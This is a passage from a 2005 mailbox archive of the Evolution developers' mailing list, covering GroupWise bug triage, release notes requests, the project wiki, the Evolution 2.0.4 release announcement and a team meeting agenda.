X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Fri, 2005-02-18 at 23:22 +0530, Sivaiah Nallagatla wrote: >On Fri, 2005-02-18 at 12:02 -0500, JP Rosevear wrote: >> I got this alias setup for bugzilla in case we want to assign groupwise >> related bugs there some how. >> >> Personally I'd prefer to keep the groupwise bugs assigned to individual >> components with the groupwise keyword rather than create a separate >> product (the GroupWise product in their now was a broken attempt at >> tracking some server issues) or separate component. We don't put IMAP >> or POP bugs in a separate component. However it is a little different >> in this case because we have a specific group working on these bugs and >> there are currently a lot of them. We could transfer the groupwise >> keyword bugs that aren't assigned specifically right now to >> evolution-groupwise-maintainers and periodically make sure the >> assignment is right. This would cut down the bug traffic to >> evolution-mail-maintainers, evolution-calendar-maintainers, etc. >> >> Thoughts? >This idea looks good to me though i would prefer separte product. I feel having separate >product would make bug submitting easier for folks who are testing/using >groupwise and avoids even the initial mails sent when new bug is filed. >Going over bugzilla to find groupwise related bugs will be more painful >than moving an occasional non-groupwise bug present in groupwise prodcut >to evolution. > > >Siva > I welcome this idea - actually helps us ensure that none of the bugs are missed. Currently, some of them have skipped my radar - since groupwise keyword was not mentioned in some cases and had been assigned to the product design team - forcing me to resort to look for bugs filed by the QA hackers rather than the other way round. Also, it should reduce lots of traffic for non-gw maintainers - yes. Harish From owner-evolution-hackers@skeptopotamus.ximian.com Sun Feb 20 08:52:19 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 6EC83124805; Sun, 20 Feb 2005 08:52:19 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax Secure Global eBusiness CA-1" (not verified)) by lists.ximian.com (Postfix) with ESMTP id AA7E11248B9 for ; Sun, 20 Feb 2005 08:52:05 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id 76042637DD; Sun, 20 Feb 2005 08:52:05 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from jareth.dreamhost.com (jareth.dreamhost.com [66.33.198.201]) by skeptopotamus.ximian.com (Postfix) with ESMTP id 569C8637D9 for ; Sun, 20 Feb 2005 08:52:05 -0500 (EST) Received: from 192.168.1.105 (pC19EB64A.dip.t-dialin.net [193.158.182.74]) by jareth.dreamhost.com (Postfix) with ESMTP id 3A47B6B602 for ; Sun, 20 Feb 2005 05:52:03 -0800 (PST) From: Murray Cumming To: Evolution-Hackers List In-Reply-To: <1107635723.3794.56.camel@localhost.localdomain> References: <1107635723.3794.56.camel@localhost.localdomain> Content-Type: text/plain Date: Sun, 20 Feb 2005 14:52:01 +0100 Message-Id: <1108907521.6107.6.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-3) Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-16.7 required=5.0 tests=BAYES_70,EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: 2.10 release notes: What's new? Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: I sent this to desktop-devel-list but maybe the evo maintainers didn't see it. Could you add some information about what's new in Evolution for GNOME 2.10, please? Thanks. On Sat, 2005-02-05 at 21:35 +0100, Murray Cumming wrote: > It's time to think about the 2.10 release notes. > > Could GNOME maintainers please tell us about major user-visible changes > in their modules, by editing this page: > http://live.gnome.org/ReleaseNotes > or just email them to me or the release-team if necessary. > -- Murray Cumming murrayc@murrayc.com www.murrayc.com www.openismus.com From notzed@ximian.com Sun Feb 20 19:43:58 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 0CB021247A2; Sun, 20 Feb 2005 19:43:58 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 6E00912422B for ; Sun, 20 Feb 2005 19:43:46 -0500 (EST) Received: (qmail 23656 invoked from network); 21 Feb 2005 00:43:45 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 21 Feb 2005 00:43:45 -0000 Subject: Re: [Evolution-hackers] Re: Information about hacking on Evolution From: Not Zed To: Rodrigo Moya Cc: spamfrommailing@freax.org, gnome-hackers@gnome.org, evolution-hackers@lists.ximian.com In-Reply-To: <1108733383.22947.3.camel@cerler.home> References: <1108674763.9004.1.camel@localhost.localdomain> <1108733383.22947.3.camel@cerler.home> Content-Type: multipart/alternative; boundary="=-Q0acAGZHC2vn6Q5H+xRU" Date: Mon, 21 Feb 2005 08:38:11 +0800 Message-Id: <1108946291.24160.11.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-24.0 required=5.0 tests=BAYES_10,EMAIL_ATTRIBUTION,HTML_30_40,IN_REP_TO, QUOTED_EMAIL_TEXT,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-Q0acAGZHC2vn6Q5H+xRU Content-Type: text/plain Content-Transfer-Encoding: 7bit There's an evolution wiki??? Since when? On Fri, 2005-02-18 at 14:29 +0100, Rodrigo Moya wrote: > On Thu, 2005-02-17 at 22:12 +0100, Philip Van Hoof wrote: > > I've updated this wiki a bit. Stuff like debugging a running Evolution > > process has been hadded. > > > > http://freax.be/wiki/index.php/Compiling_Evolution_from_CVS > > > shouldn't this better be at the Evolution wiki? > (live.gnome.org/Evolution) It's indeed a good addition to the > BuildFromSource page -> http://live.gnome.org/BuildEvolutionFromSource --=-Q0acAGZHC2vn6Q5H+xRU Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
There's an evolution wiki???

Since when?

On Fri, 2005-02-18 at 14:29 +0100, Rodrigo Moya wrote: 
On Thu, 2005-02-17 at 22:12 +0100, Philip Van Hoof wrote:
> I've updated this wiki a bit. Stuff like debugging a running Evolution
> process has been hadded.
> 
>     http://freax.be/wiki/index.php/Compiling_Evolution_from_CVS
> 
shouldn't this better be at the Evolution wiki?
(live.gnome.org/Evolution) It's indeed a good addition to the
BuildFromSource page -> http://live.gnome.org/BuildEvolutionFromSource
--=-Q0acAGZHC2vn6Q5H+xRU-- From owner-evolution-hackers@skeptopotamus.ximian.com Mon Feb 21 00:00:38 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 17F44124D7F; Mon, 21 Feb 2005 00:00:38 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax Secure Global eBusiness CA-1" (not verified)) by lists.ximian.com (Postfix) with ESMTP id CF4EE124D87 for ; Mon, 21 Feb 2005 00:00:15 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id A403F63B51; Sun, 20 Feb 2005 23:57:54 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by skeptopotamus.ximian.com (Postfix) with ESMTP id 411EE63282; Sun, 20 Feb 2005 23:57:54 -0500 (EST) Received: from [192.168.1.100] ([137.65.81.216]) by lyle.provo.novell.com; Sun, 20 Feb 2005 21:57:43 -0700 From: JP Rosevear To: evolution@ximian.com, evolution-hackers@ximian.com, gnome-announce-list@gnome.org Content-Type: text/plain; charset=utf-8 Organization: Novell, Inc. Date: Sun, 20 Feb 2005 23:57:29 -0500 Message-Id: <1108961849.9149.21.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 8bit X-Spam-Status: Yes, hits=7.0 required=5.0 tests=RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ******* X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] Evolution 2.0.4 Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: The Evolution Team exuberantly announces the release of Evolution 2.0.4. Unless any critical issues are are discovered this will be the last release in the 2.0.4 series. Download the following: http://ftp.gnome.org/pub/gnome/sources/evolution/2.0/evolution-2.0.4.tar.gz http://ftp.gnome.org/pub/gnome/sources/gtkhtml/3.2/gtkhtml-3.2.5.tar.gz http://ftp.gnome.org/pub/gnome/sources/gal/2.2/gal-2.2.5.tar.gz http://ftp.gnome.org/pub/gnome/sources/evolution-data-server/1.0/evolution-data-server-1.0.4.tar.gz http://ftp.gnome.org/pub/gnome/sources/libsoup/2.2/libsoup-2.2.2.tar.gz http://ftp.gnome.org/pub/gnome/sources/ximian-connector/2.0/ximian-connector-2.0.4.tar.gz Upgrade Notes: Evolution 2.0 is the stable version of the 1.5.x development series. It will upgrade your existing 1.4 install if you were not using 1.5 previously, but will not delete it until told to. Bug Fixes and Updates: Evolution 2.0.4, 2005-02-14 ---------------------------- Bugzilla bugs fixed (see http://bugzilla.ximian.com/show_bug.cgi): * Addressbook #36137 - Leading %s in addressbook message totally non-obvious (Siva) #70339 - vcard preview doesn't appear to work (Siva) #70622 - Crash changing gtkhtml settings (JP) #70922 - Email address types should show "Other" when importing vcards (Siva) #70540 - Adding contact from email doesn't let you change "file as" (Hans) * Calendar #41624 - only the last exception is deleted on palm device (JP) #46901 - Only one line gets printed when printing Tasks and Appointments (Yong Sun) * Mail #33933 - Sorting by subject does not result in expected order (Jeff) #70795 - Next/Previous Message Should Only Display Listed Emails (Michael) #65329 - regression in default folder name localisation (Michael) #71312 - Double-clicking vFolder of Draft folder doesn't allow editing (Michael) #71310 - Always loses my signature script settings (Michael) #71310 - Always loses my signature script settings (Michael) #69850 - Crash: attempting to create a Vfolder based on a message without a Sender (Michael) #65178 - newly created folder on local maildir doesn't show until evolution restart (Michael) #70858 - selecting newly created folder flakey (Michael) #60664 - message view does not follow theme change (Michael) #70768 - 'Mark All as Read' marks all the mails which are not in current query as read (Michael) #70563 - crash when 'load images' on MyEclipse newsletter email (Michael) #66943 - Crash when saving draft (Michael) #71105 - When trying to rename a folder containing a slash "/" and spaces, evil stuff happens (Michael) #72020 - Error parsing filter: Unknown identifier: adjust-score (Michael) #38791 - gpg can make evo hang if keyserver unreachable (Michael) #36142 - Don't use acronyms as verbs in messages (Michael) #70303 - pgp signature invalid with very short emails (Michael) #69757 - Memory leak in imap_parse_list_response (Michael) #22496 - Evolution does not appear to support ALERT messages (Michael) #71427 - Evolution does not prompt for new password (Michael) #71625 - Don't display content of e-mail when first selected (Michael) #56110 - Messages in digest displayed as source (Michael) #69024 - Doesn't update NNTP folder in a Virtual folder (Michael) #47824 - nested, identical multipart boundaries dont parse properly (Michael) #70919 - Crash during fetching mail (mail has gpg signature) (Michael) #70556 - Unable load messages info from MS Exchange by IMAP (Michael) Other bugs * Mail -64 bit fixes (Michael) * Addressbook - work around 67411 (Hans) - 64 bit fixes (Michael) - Turkish locale fixes (S.Çaglar Onur) * Calendar - fix potential resize crash (Michael) * S/MIME - don't remove the cert from the tree if it wasn't actually deleted (Michael) Updated translations: - nl (Vincent van Adrighem) - pt (Duarte Loreto) - hu (Laszlo Dvornik) - ca (Jordi Mallach) - fr (Jeremie Knuesel, Sebastien Bacher, Christophe Merlet) - sv (Christian Rose) - de (Hendrik Brandt) - id (Mohammad DAMT) - es (Francisco Javier F. Serrador) - da (Martin Willemoes Hansen) - ko (Changwoo Ryu) - zh_CN (Funda Wang) - ms (Hasbullah Bin Pit) - hu (Laszlo Dvornik) - cs (Miloslav Trmac) - ru (Leonid Kanter) - bg (Vladimir Petkov) - sq (Laurent Dhima) - en_GB (David Lodge) - pl (Artur Flinta) - sr (Danilo Segan) - sr@Latn (Danilo Segan) - en_CA (Adam Weinberger) - pt_BR (Raphael Higino) - nn (Åsmund Skjæveland) Exchange Connector 2.0.4 2005-02-14 ------------------------------------ Bugzilla bugs fixed (see http://bugzilla.ximian.com/show_bug.cgi): #70730 - connector hangs on kerberos authentication attempts (Sarfraaz) #71432 - Don't see schedule in new meeting request dialog (Sushma) #70357 - Crash: Exchange calendar query hangs Evolution (glibc gives a double-free or corruption error!) (Sarfraaz) #68330 - Exchange now crashes on start (Sarfraaz) #66963 - The trash is filtered for spam (that I just deleated) when I select (and there by open) the trashdir to do an expunge (Sarfraaz) #71469 - Menus for Connector are not Translated to French (Sarfraaz) #71555 - Label setting is not being saved across sessions (Sushma) #70283 - All-day calendar events incorrectly show as busy (Sarfraaz) #70414 - Memory corruption/build-up tracking bug (Sarfraaz) Fixes for 64 bit support (Michael Zucchi) Updated Translations: (Since 2.0.1) - bg (Alexander Shopov) - da (Martin Willemoes Hansen) - ca (Jordi Mallach) - hu (Laszlo Dvornik) Evolution Data Server 1.0.4, 2005-02-14 ---------------------------------------- Bugzilla bugs fixed (see http://bugzilla.ximian.com/show_bug.cgi): * Address Book #64298 - G/W failure to authenticate (Siva) #67541 - LDAP password not to be remembered (Siva) #66854 - Some strings are missed to translation (Rodney) #71116 - wrong gettext initialization breaks translation (Rodney) #70918 - Importing kontact vcard causes inifinite loop (Siva) * Calendar #64682 - Moving an appointment from one calendar to another sends update (Chen) #67031 - GroupWise tasks are not getting updated in any way (Chen) * All #69186 - cannot remove GAL from Autocomplete in settings (Siva) #64298 - G/W failure to authenticate (Siva) Other bugs * Calendar - warning fixes (Michael) - fix groupwise ssl usage (Harish) * Address Book - fix vcard note migration issues if containing non-ascii chars (Siva) - fix groupwise ssl usage (Harish) * All - 64 bit fixes (Michael) Updated Translations: -et (Priit Laes) -ru (Leonid Kanter) gtkhtml-3.2.5 "hispidulum" 2005-02-14 ------------------------------------------------ New in this release * Updated translations fr (Christophe Merlet) de (Hendrik Brandt) pl (Artur Flinta) nl (Vincent van Adrighem) sv (Christian Rose) ja (Takeshi AIHANA) gal-2.2.5 2005-02-14 ---------------------- Other bugs and changes: - Updated translations: it (Luca Ferretti, Alessio Frusciante Reporting Bugs If you have problems with 2.0.4, please take the time to submit the bug using Bug Buddy or at http://bugzilla.ximian.com. Try to fill in as much detail as you can regarding the circumstances that lead to the problem If you have a feature request, you can also file that at http://bugzilla.ximian.com/ don't be discouraged if you don't hear from us right away, we get hundreds of feature requests a year. You can also check if your bug has been reported before by using the search functionality of Bugzilla. More information is available at the project website: http://www.gnome.org/projects/evolution -JP -- JP Rosevear Novell, Inc. From pchenthill@novell.com Mon Feb 21 00:15:54 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id ACFE112411A; Mon, 21 Feb 2005 00:15:54 -0500 (EST) Received: from yahoo.blr.novell.com (unknown [202.144.86.147]) by lists.ximian.com (Postfix) with ESMTP id 1447912404F for ; Mon, 21 Feb 2005 00:15:42 -0500 (EST) Received: by yahoo.blr.novell.com (Postfix, from userid 0) id 8F9B327E98; Mon, 21 Feb 2005 10:46:24 +0530 (IST) Subject: Re: [Evolution-hackers] evolution-groupwise-maintainers From: chen To: Harish Krishnaswamy Cc: ls@skeptopotamus.ximian.com, JP Rosevear , Evolution Hackers mailing list , evolution-groupwise-maintainers@ximian.com In-Reply-To: <035201c5168b$92cc60a0$0301a8c0@executivesontheweb.local> References: <1108746179.6456.246.camel@bishop.rosevear.com> <1108749170.12982.7.camel@Gr8-Siva.hathaway> <035201c5168b$92cc60a0$0301a8c0@executivesontheweb.local> Content-Type: text/plain Content-Transfer-Encoding: 7bit Date: Mon, 21 Feb 2005 10:46:23 +0530 Message-Id: <1108962983.22989.2.camel@yahoo.blr.novell.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Spam-Status: No, hits=-17.9 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES, SUBJ_HAS_UNIQ_ID autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Sat, 2005-02-19 at 14:01 +0000, Harish Krishnaswamy wrote: > On Fri, 2005-02-18 at 23:22 +0530, Sivaiah Nallagatla wrote: > >On Fri, 2005-02-18 at 12:02 -0500, JP Rosevear wrote: > >> I got this alias setup for bugzilla in case we want to assign groupwise > >> related bugs there some how. > >> > >> Personally I'd prefer to keep the groupwise bugs assigned to individual > >> components with the groupwise keyword rather than create a separate > >> product (the GroupWise product in their now was a broken attempt at > >> tracking some server issues) or separate component. We don't put IMAP > >> or POP bugs in a separate component. However it is a little different > >> in this case because we have a specific group working on these bugs and > >> there are currently a lot of them. We could transfer the groupwise > >> keyword bugs that aren't assigned specifically right now to > >> evolution-groupwise-maintainers and periodically make sure the > >> assignment is right. This would cut down the bug traffic to > >> evolution-mail-maintainers, evolution-calendar-maintainers, etc. > >> > >> Thoughts? > >This idea looks good to me though i would prefer separte product. I feel having separate > >product would make bug submitting easier for folks who are testing/using > >groupwise and avoids even the initial mails sent when new bug is filed. > >Going over bugzilla to find groupwise related bugs will be more painful > >than moving an occasional non-groupwise bug present in groupwise prodcut > >to evolution. > > > > > >Siva > > > > I welcome this idea - actually helps us ensure that none of the bugs are > missed. Currently, some of them have skipped my radar - since groupwise > keyword was not mentioned in some cases and had been assigned to the > product design team - forcing me to resort to look for bugs filed by the > QA hackers rather than the other way round. > > Also, it should reduce lots of traffic for non-gw maintainers - yes. > > Harish > > ______ The idea looks good. It would be better to have the bugs filed under groupwise component for the same reasons mentioned above. thanks, chenthill. > _________________________________________ > evolution-hackers maillist - evolution-hackers@lists.ximian.com > http://lists.ximian.com/mailman/listinfo/evolution-hackers > From rodrigo@novell.com Mon Feb 21 04:42:23 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 5D2391245B8; Mon, 21 Feb 2005 04:42:23 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id 34541124015 for ; Mon, 21 Feb 2005 04:42:11 -0500 (EST) Received: (qmail 24242 invoked from network); 21 Feb 2005 09:42:10 -0000 Received: from localhost (HELO cerler.home) (127.0.0.1) by localhost with SMTP; 21 Feb 2005 09:42:10 -0000 Subject: Re: [Evolution-hackers] Re: Information about hacking on Evolution From: Rodrigo Moya To: Not Zed Cc: spamfrommailing@freax.org, gnome-hackers@gnome.org, evolution-hackers@lists.ximian.com In-Reply-To: <1108946291.24160.11.camel@lostzed.mmc.com.au> References: <1108674763.9004.1.camel@localhost.localdomain> <1108733383.22947.3.camel@cerler.home> <1108946291.24160.11.camel@lostzed.mmc.com.au> Content-Type: text/plain Date: Mon, 21 Feb 2005 10:39:33 +0100 Message-Id: <1108978773.11552.7.camel@cerler.home> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: No, hits=-15.7 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Mon, 2005-02-21 at 08:38 +0800, Not Zed wrote: > > There's an evolution wiki??? > yes, http://live.gnome.org/Evolution > Since when? > some weeks ago IIRC -- Rodrigo Moya From spamfrommailing@freax.org Mon Feb 21 05:31:48 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id BB625124E03; Mon, 21 Feb 2005 05:31:48 -0500 (EST) Received: from erebus.freax.org (erebus.freax.org [217.22.59.35]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id D4AA8124E09 for ; Mon, 21 Feb 2005 05:31:36 -0500 (EST) Received: from localhost (localhost [127.0.0.1]) by erebus.freax.org (Postfix) with ESMTP id 67DE11394242; Mon, 21 Feb 2005 11:31:32 +0100 (CET) Received: from erebus.freax.org ([127.0.0.1]) by localhost (erebus [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 18026-09; Mon, 21 Feb 2005 11:31:25 +0100 (CET) Received: from [192.168.0.129] (cvs.maia-scientific.com [213.193.139.10]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by erebus.freax.org (Postfix) with ESMTP id EBD381394240; Mon, 21 Feb 2005 11:31:24 +0100 (CET) Subject: Re: [Evolution-hackers] Re: Information about hacking on Evolution From: Philip Van Hoof Reply-To: spamfrommailing@freax.org To: Rodrigo Moya Cc: Not Zed , gnome-hackers@gnome.org, evolution-hackers@lists.ximian.com In-Reply-To: <1108978773.11552.7.camel@cerler.home> References: <1108674763.9004.1.camel@localhost.localdomain> <1108733383.22947.3.camel@cerler.home> <1108946291.24160.11.camel@lostzed.mmc.com.au> <1108978773.11552.7.camel@cerler.home> Content-Type: multipart/alternative; boundary="=-01ySGe1mPnh4L+VenvJE" Date: Mon, 21 Feb 2005 11:31:25 +0100 Message-Id: <1108981885.11748.17.camel@localhost.localdomain> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at erebus.freax.org X-Spam-Status: No, hits=-22.1 required=5.0 tests=BAYES_30,EMAIL_ATTRIBUTION,HTML_10_20,IN_REP_TO, RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM,REFERENCES, REPLY_WITH_QUOTES,SIGNATURE_LONG_SPARSE autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-01ySGe1mPnh4L+VenvJE Content-Type: text/plain Content-Transfer-Encoding: 7bit On Mon, 2005-02-21 at 10:39 +0100, Rodrigo Moya wrote: > On Mon, 2005-02-21 at 08:38 +0800, Not Zed wrote: > > > > There's an evolution wiki??? > > > yes, http://live.gnome.org/Evolution > I wouldn't mind if somebody took the wiki-source of my mediawiki site and port it to the wiki-engine thats being used on live.gnome.org. It would be nice of course, if there's some mentioning of who originally created the document :p. Nevertheless I'd like to point out I dislike the wiki-engine on live.gnome.org. It doesn't look very professional and in my humble opinion doesn't have the required set of features which a MediaWiki does have. As an example I like the fact that MediaWiki generates an index at the top of every page. Perhaps utilising a different stylesheet, or the same as used on a MediaWiki, might make it look a little bit better. I'm guessing that a plugin that creates an index of a page for the wiki engine used on live.gnome.org can be build. So both issue's I'm having with that wiki can be solved (but then again, any issue can be solved. So thats no news). So if you want to port the document to live.gnome.org, I'd say go for it but .. I'd prefer that a MediaWiki would be used. In any case I give permission to do so. -- Philip Van Hoof, Software Developer @ Cronos home: me at freax dot org gnome: pvanhoof at gnome dot org work: philip dot vanhoof at cronos dot be junk: philip dot vanhoof at gmail dot com http://www.freax.be, http://www.freax.eu.org --=-01ySGe1mPnh4L+VenvJE Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit On Mon, 2005-02-21 at 10:39 +0100, Rodrigo Moya wrote: 
On Mon, 2005-02-21 at 08:38 +0800, Not Zed wrote:
> 
> There's an evolution wiki???
> 
yes, http://live.gnome.org/Evolution

I wouldn't mind if somebody took the wiki-source of my mediawiki site and port it to the wiki-engine thats being used on live.gnome.org. It would be nice of course, if there's some mentioning of who originally created the document :p.

Nevertheless I'd like to point out I dislike the wiki-engine on live.gnome.org. It doesn't look very professional and in my humble opinion doesn't have the required set of features which a MediaWiki does have. As an example I like the fact that MediaWiki generates an index at the top of every page.

Perhaps utilising a different stylesheet, or the same as used on a MediaWiki, might make it look a little bit better. I'm guessing that a plugin that creates an index of a page for the wiki engine used on live.gnome.org can be build. So both issue's I'm having with that wiki can be solved (but then again, any issue can be solved. So thats no news).

So if you want to port the document to live.gnome.org, I'd say go for it but .. I'd prefer that a MediaWiki would be used. In any case I give permission to do so.


-- 
Philip Van Hoof, Software Developer @ Cronos
home: me at freax dot org
gnome: pvanhoof at gnome dot org
work: philip dot vanhoof at cronos dot be
junk: philip dot vanhoof at gmail dot com
http://www.freax.be, http://www.freax.eu.org
--=-01ySGe1mPnh4L+VenvJE-- From jpr@novell.com Tue Feb 22 00:58:08 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id B89311246CB; Tue, 22 Feb 2005 00:58:08 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 71EDB12430F for ; Tue, 22 Feb 2005 00:57:56 -0500 (EST) Received: from [192.168.1.100] ([137.65.81.216]) by lyle.provo.novell.com; Mon, 21 Feb 2005 22:57:48 -0700 From: JP Rosevear To: gene-pool@ximian.com Cc: Evolution Hackers mailing list Content-Type: text/plain Organization: Novell, Inc. Date: Tue, 22 Feb 2005 00:57:33 -0500 Message-Id: <1109051853.9149.138.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.5 Content-Transfer-Encoding: 7bit X-Spam-Status: Yes, hits=5.4 required=5.0 tests=BAYES_30,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ***** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] *Wednesday* 10 am Team Meeting Agenda and IRC Information Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Novell people, send a status report if you can't make it. 10am Boston time (UTC -0500) on Wednesday. This meeting will take place on irc.gimp.org, #evolution-meet 1. JP -2.1 development status -2.1 bug assessment -2.2.0 and 2.2.1 timeline -Patch review mode reminder -2.0.4 release 2. Team -individual status reports 3. Additional Business -questions, concerns, etc. -JP -- JP Rosevear Novell, Inc. From owner-evolution-hackers@skeptopotamus.ximian.com Tue Feb 22 11:34:50 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 0A11E124E5A; Tue, 22 Feb 2005 11:34:50 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax Secure Global eBusiness CA-1" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 34C15124E74 for ; Tue, 22 Feb 2005 11:34:24 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id 36D9A63F04; Tue, 22 Feb 2005 11:31:40 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from dydimus.dreamhost.com (dydimus.dreamhost.com [66.33.197.17]) by skeptopotamus.ximian.com (Postfix) with ESMTP id 169966392C for ; Tue, 22 Feb 2005 11:31:40 -0500 (EST) Received: from 192.168.1.105 (p3EE21087.dip.t-dialin.net [62.226.16.135]) by dydimus.dreamhost.com (Postfix) with ESMTP id 0BE214F8AC for 